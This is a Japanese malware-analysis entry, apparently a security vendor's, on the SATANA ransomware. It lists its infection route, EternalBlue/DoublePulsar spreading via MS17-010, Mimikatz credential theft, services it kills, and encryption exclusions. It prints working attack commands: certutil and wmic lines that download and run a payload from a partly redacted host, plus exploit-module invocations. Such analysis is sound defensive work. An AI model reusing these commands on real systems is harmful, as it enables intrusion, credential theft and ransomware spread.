• Email
• Facebook
• Twitter
• Google+
• Linkedin

Ransom.Win32.SATANA.A

---

• マルウェアタイプ: 身代金要求型不正プログラム（ランサムウェア）
• 破壊活動の有無: なし
• 暗号化:  
• 感染報告の有無: はい

---

  概要

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、特定の脆弱性を利用した感染活動を実行します。

特定のフォルダ内のファイルを暗号化します。 身代金要求文書のファイルを作成します。 以下のファイル拡張子を持つファイルは暗号化しません。

---

  詳細

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、以下のリモートサイトからダウンロードされ、コンピュータに侵入します。

• http://{BLOCKED}.{BLOCKED}.45.207/car/c.exe

インストール

マルウェアは、以下のファイルを作成し実行します。

• %ProgramData%\cpt.exe -> main ransomware

(註：%ProgramData%フォルダは、マルチユーザーシステムにおいて任意のユーザがプログラムに変更を加えることができるプログラムファイルフォルダのバージョンです。これには、すべてのユーザのアプリケーションデータが含まれます。Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\ProgramData" です。Windows Server 2003(32-bit)、2000(32-bit)、XPの場合、通常 "C:\Documents and Settings\All Users" です。 )

マルウェアは、以下のプロセスを追加します。

• blue.exe --TargetIP {Victim's IP}
• star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp {Victim IP}
• certutil.exe -urlcache -split -f http://{BLOCKED}.{BLOCKED}.45.207/car/c.exe C:/c.exe
• wmic /node: {Victim IP} process call create cmd.exe /c certutil.exe -urlcache -split -f http://{BLOCKED}.{BLOCKED}.45.207/car/c.exe C:/c.exe&C:\c.exe

マルウェアは、以下の Mutex を作成し、メモリ上で自身の重複実行を避けます。

• SSSS_Scan
• SATAN_CRYPT

プロセスの終了

マルウェアは、感染コンピュータ上で確認した以下のサービスを終了します。

• MySQL
• MySQLa
• SQLWriter
• SQLSERVERAGENT
• MSSQLFDLauncher
• MSSQLSERVER
• UxSms

マルウェアは、感染コンピュータ上で以下のプロセスが常駐されていることを確認した場合、そのプロセスを終了します。

• calc.exe
• sqlservr.exe
• mysqld.exe
• nmesrvc.exe
• sqlagent.exe
• fdhost.exe
• fdlauncher.exe
• reportingservicesservice.exe
• omtsreco.exe
• tnslsnr.exe
• oracle.exe
• emagent.exe
• perl.exe
• sqlwriter.exe
• mysqld-nt.exe
• mysqld-nt.exe

作成活動

マルウェアは、以下のファイルを作成します。

• %All Users Profile%\blue.exe -> EternalBlue module
• %All Users Profile%\blue.fb -> EternalBlue config
• %All Users Profile%\blue.xml -> EternalBlue config
• %All Users Profile%\cnli-1.dll
• %All Users Profile%\coli-0.dll
• %All Users Profile%\crli-0.dll
• %All Users Profile%\dmgd-4.dll
• %All Users Profile%\exma-1.dll
• %All Users Profile%\libeay32.dll
• %All Users Profile%\libxml2.dll
• %All Users Profile%\posh-0.dll
• %All Users Profile%\ssleay32.dll
• %All Users Profile%\star.exe -> DoublePulsar module
• %All Users Profile%\star.fb -> DoublePulsar config
• %All Users Profile%\star.xml -> DoublePulsar config
• %All Users Profile%\tibe-2.dll
• %All Users Profile%\trch-1.dll
• %All Users Profile%\trfo-2.dll
• %All Users Profile%\tucl-1.dll
• %All Users Profile%\ucl.dll
• %All Users Profile%\xdvl-0.dll
• %All Users Profile%\zlib1.dll
• %All Users Profile%\down64.dll -> contains module for download via certutil
• %All Users Profile%\mmkt.exe -> Mimikatz module
• %All Users Profile%\uname
• %All Users Profile%\upass
• %Temp%\Ssession

(註：%All Users Profile%フォルダは、ユーザの共通プロファイルフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\All Users” です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\ProgramData” です。. %Temp%フォルダは、一時的にファイルが保存されるフォルダで、いずれのオペレーティングシステム(OS)でも通常、 "C:\Windows\Temp" です。.)

マルウェアは、収集した情報を保存するために以下のファイルを作成します。

• %Program Files%\Common Files\System\Scanlog

(註：%Program Files%フォルダは、デフォルトのプログラムファイルフォルダです。C:\Program Files in Windows 2000(32-bit)、Server 2003(32-bit)、XP、Vista(64-bit)、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Program Files"です。また、Windows XP(64-bit)、Vista(64-bit)、7(64-bit)、8(64-bit)、8.1(64-bit)、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Program Files（x86）" です。)

情報漏えい

マルウェアは、以下の情報を収集します。

• Username
• Password
• IP Address
• Windows Version

情報収集

マルウェアは、HTTPポスト を介して、収集した情報を以下のURLに送信します。

• {BLOCKED}.{BLOCKED}.159.102

その他

マルウェアは、以下の脆弱性を利用して感染活動を実行します。

• Microsoft Security Bulletin MS17-010

ランサムウェアの不正活動

マルウェアは、以下のディレクトリ内で確認されたファイルを暗号化します。

• Fixed Drives
• Network Drives
• Removable Drives

マルウェアは、ファイル名に以下の文字列を含むファイルの暗号化はしません。

• boot.ini
• desktop.ini
• star.fb
• blue.fb
• star.xml
• blue.xml
• uname
• upass
• e8.jsp

マルウェアは、ファイルパスに以下の文字列を含むファイルの暗号化はしません。

• windows
• ManagementStudio
• python2
• python3
• microsoft games
• boot
• i386
• intel
• dvd maker
• recycle
• jdk
• libs
• all users
• 360rec
• 360sec
• 360sand
• favorites
• common files
• internet explorer
• msbuild
• public
• 360downloads
• windows defen
• windows mail
• windows media pl
• windows nt
• windows photo viewer
• windows sidebar
• default user
• temp
• 360safe

マルウェアは、以下のフォルダ内で確認されたファイルの暗号化はしません。

• %Program Files%\Microsoft SQL Server
• %Program Files%\Mysql
• %Program Files%\oracle
• %Program Files%\Microsoft SQL Server
• %Program Files%\Mysql
• %Program Files%\oracle
• \oracle
• \database
• \data
• \db
• \app\Administrator\oradata
• \mysql
• \mssql
• \back
• \backup
• \dbbackup
• \databackup
• \JspStudy\MySQL\data
• \phpStudy\MySQL\data
• \ORACAL\Administrator\oradata
• \oracle12c

(註：%Program Files%フォルダは、デフォルトのプログラムファイルフォルダです。C:\Program Files in Windows 2000(32-bit)、Server 2003(32-bit)、XP、Vista(64-bit)、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Program Files"です。また、Windows XP(64-bit)、Vista(64-bit)、7(64-bit)、8(64-bit)、8.1(64-bit)、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Program Files（x86）" です。)

マルウェアは、以下の名称を利用して暗号化されたファイルのファイル名を改称します。

• {file path}\[satan_pro@mail.ru]{filename with extension}.{random characters}.session

マルウェアが作成する以下のファイルは、脅迫状です。

• {Root Drive}\{Chinese characters}.txt
  
  

以下のファイル拡張子を持つファイルについては暗号化しません：$$ DATA $$

• session
• cab
• pol
• dll
• msi
• exe
• lib
• iso
• bin
• bmp
• tmp
• log
• ocx
• chm
• dat
• sys
• wim
• sdi
• lnk
• gho
• pbk

---

  対応方法

ご利用はいかがでしたか？　アンケートにご協力ください